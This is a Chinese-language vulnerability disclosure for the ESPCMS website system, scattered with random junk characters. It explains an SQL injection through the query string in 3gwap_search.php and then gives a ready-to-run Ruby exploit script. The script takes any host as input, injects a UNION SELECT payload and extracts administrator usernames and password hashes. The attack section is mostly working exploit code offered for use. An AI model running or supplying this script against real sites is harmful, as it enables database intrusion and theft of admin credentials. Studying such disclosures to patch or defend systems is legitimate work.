0×0 漏洞概述0×1 漏洞细节
! V, Q. Y# ?/ u. M! g* U0×2 PoC
) n" i' k5 Z" h% \
3 ~& i) T3 n# G2 b# X/ I5 F! x: c8 K: E: ]: \5 K; M6 D2 K* L
/ V1 C8 }, b, `0 s9 |" n+ [0×0 漏洞概述; I K, p4 m2 t, O& ]
& z7 Z; @' ~- q) [
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。: M$ c5 s3 x0 ]1 [0 x7 P/ |
其在处理传入的参数时考虑不严谨导致SQL注入发生# j/ d8 F( L e# s% G4 n
2 `- n+ o* q* X' L
0 F* l9 R* w' H6 A0×1 漏洞细节
+ {- q. t/ B* r$ f
, ]! ]6 v) {/ ^3 m8 O" G% U0 m变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
! X7 c# m! e0 g6 V9 ?; l9 p正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
2 K' b: i5 t% w$ \, r而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
0 i3 m O! G! ?5 [& G; P
/ H' P6 g8 A/ R4 H( S" O0 e在/interface/3gwap_search.php文件的in_result函数中:
9 V1 {* L5 W% K5 a# {! n
/ p, ?* @5 u" I% s( g5 a- g, m; h
8 Z+ f' g! k& E
function in_result() {9 v. k5 i& K/ l f% Q+ m
... ... ... ... ... ... ... ... ...1 s1 g8 E5 r( U% d9 k( X
$urlcode = $_SERVER[ 'QUERY_STRING '];
! D6 ^: Q2 ^' [9 `0 O! s% o parse_str(html_entity_decode($urlcode), $output);
5 r% \& ~. ]$ Y) `. `# B8 W( R$ G- m, U( M
... ... ... ... ... ... ... ... ...) c0 p; x; j3 ]. E$ X9 L
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
b! H8 b1 n8 v& U
" s8 g. [) {4 O1 I- q& q $db_table = db_prefix . 'model_att';- s) P& S1 O* w5 w Y) t( {
' X1 @$ @9 L- ]% l d; a u! X) z foreach ($output['attr' ] as $key => $value) {
+ l8 W; O9 u$ P3 i if ($value) {
4 m/ m* F9 ?( g7 A
% e" }$ R) t& s& G3 { j* U3 L0 } $key = addslashes($key);* u" Z3 [( ?9 ?- F
$key = $this-> fun->inputcodetrim($key);7 }! g( r7 l2 Y/ U
$db_att_where = " WHERE isclass=1 AND attrname='$key'";8 U( S( t$ L. |; N
$countnum = $this->db_numrows($db_table, $db_att_where);
# e# d8 D; A) L' O, N3 O- v' K if ($countnum > 0) {- y" x1 v- v q* W) L
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;3 u, O( t$ \! B7 r8 ~5 o
}
. M, r W9 u% \5 z+ j6 O }
, L7 y p7 M- x/ ~ }
3 F! |7 ]: N# l, n( W }9 x: G" a7 i$ H: M
if (!empty ($keyword) && empty($keyname)) {+ s0 N' ~& ^' W& x7 q
$keyname = 'title';
( W/ H: v1 {& o! c: @( |+ w* v $db_where.= " AND a.title like '%$keyword%'" ;6 G0 g* h2 C) J ]( b
} elseif (!empty ($keyword) && !empty($keyname)) {( z5 ?' E% p1 ^8 q8 m
$db_where.= " AND $keyname like '% $keyword%'";, b% q1 I# p1 c5 P6 y. }5 p$ z
}) e; |. h$ j' x( Z" N
$pagemax = 15;
! Y" O% @5 G* ^8 Q5 m5 V( X/ m% g* Y9 A# {
$pagesylte = 1;8 Q4 I9 W8 `/ Z4 D0 h
, a. b4 i: I6 Q( t* S if ($countnum > 0) {
2 {) d/ q2 V( H2 F) g1 a- {* O& v& V" i( i
$numpage = ceil($countnum / $pagemax);
! d# ^4 _9 K- o' W } else {
* F/ D- N3 ~' t! }; r/ ^ $numpage = 1;" W/ p1 D# @; H- S' r
}
. O& L# {, N9 T1 N $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
$ F% S# p2 y" V9 b9 _% E. y $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
. Z5 Y ^% {0 X' I$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
# J' B* X: g8 d5 c" Z- b ... ... ... ... ... ... ... ... ...
# x W$ {5 e+ F5 C6 N( { }* z0 H6 \; p. C5 \
/ j/ t; E: ? Z, S0 i% I$ g, q
+ Q; R) ~% W; r( K- E
0×2 PoC
F/ ?) \8 X, I' L0 G1 F) C8 Y
; [5 d7 N8 e" N- N: e1 ^0 z7 ?* ]) }" ?7 l- N
( X( r' G$ r8 d* ~require "net/http"
! W3 l, J' ?! b- {" Q8 r7 U' h
& @$ ]- y+ A; T8 b; y2 S/ Qdef request(method, url)
2 z( z0 x: Q4 m if method.eql?("get")
C( S) O1 R, i1 o) Z9 C4 ~ uri = URI.parse(url)2 A/ Q& N. |: X& S+ r5 p
http = Net::HTTP.new(uri.host, uri.port)
; g: y. Y6 B6 f0 {) B5 M5 i8 e6 } response = http.request(Net::HTTP::Get.new(uri.request_uri))
9 ?5 O ]) y/ W, I7 B7 e return response
9 N/ ^% F9 b- M6 W; z5 {1 D% h* _: j end- K9 v* k; R" L9 I: e; o( f( V. i
end
! H* h/ f4 @ ~; {; o6 ]/ l- q$ e1 G& a0 I; W ^3 q
doc =<<HERE
* [! s7 f) ?6 E-------------------------------------------------------
$ A4 v) u2 b; xEspcms Injection Exploit9 E n) b- o( I; |3 k
Author:ztz
9 u/ |) c* u7 f7 v- }0 DBlog:http://ztz.fuzzexp.org/
* z$ M, R. u, e# V/ C# ^5 u-------------------------------------------------------% d4 k# \% @& t
# H5 a& ?* R/ D* S' X3 _" Q7 S
HERE
! ^7 @/ ]' H: B1 S
5 a! b L. Y+ t7 \usage =<<HERE8 C" k* E8 R% _0 E
Usage: ruby #{$0} host port path/ f5 I# A, @6 j- i: |
example: ruby #{$0} www.target.com 80 /
( J' I8 S9 e. Y) L4 r8 YHERE
! N, x* @. n8 @! o2 T! A/ O
- S( o1 \; A) c4 W6 z" O8 l( M; Sputs doc& p+ R* Z8 G. S8 @# Q: R1 A
if ARGV.length < 3
6 X. ^! w7 \# A7 \ puts usage, G0 A, V9 U% T$ e7 m
else
8 v8 @5 c- u4 d" ]* ]. l $host = ARGV[0]9 _, l! @ i& l: e, S* G
$port = ARGV[1]( |# Z: ^7 K; X1 K8 \7 D* N
$path = ARGV[2]6 O& g8 e" n0 M$ ]+ |7 [
3 @* y8 t0 K) m$ m' ^- B0 e- \
puts "send request..." q/ l- m: K6 Y; M
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&7 R, W- K5 Y# B; w' _3 Z
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
& ?# K% e9 P8 ]$ Y5 R,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,277 b' P' L( S. x; m% K" _4 s6 B
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
& h) }# l' o5 H5 a* J3 b0 ]( z response = request("get", url)2 G! `7 ?6 h5 }4 O" z
result = response.body.scan(/\w+&\w{32}/)
( X% @+ M" H1 w0 }: M9 Y5 z0 K puts result' N: P& M0 U7 G; o% k
end
, X$ T) n% C: m" x( A0 [6 [6 }+ x- j) c) [; u
|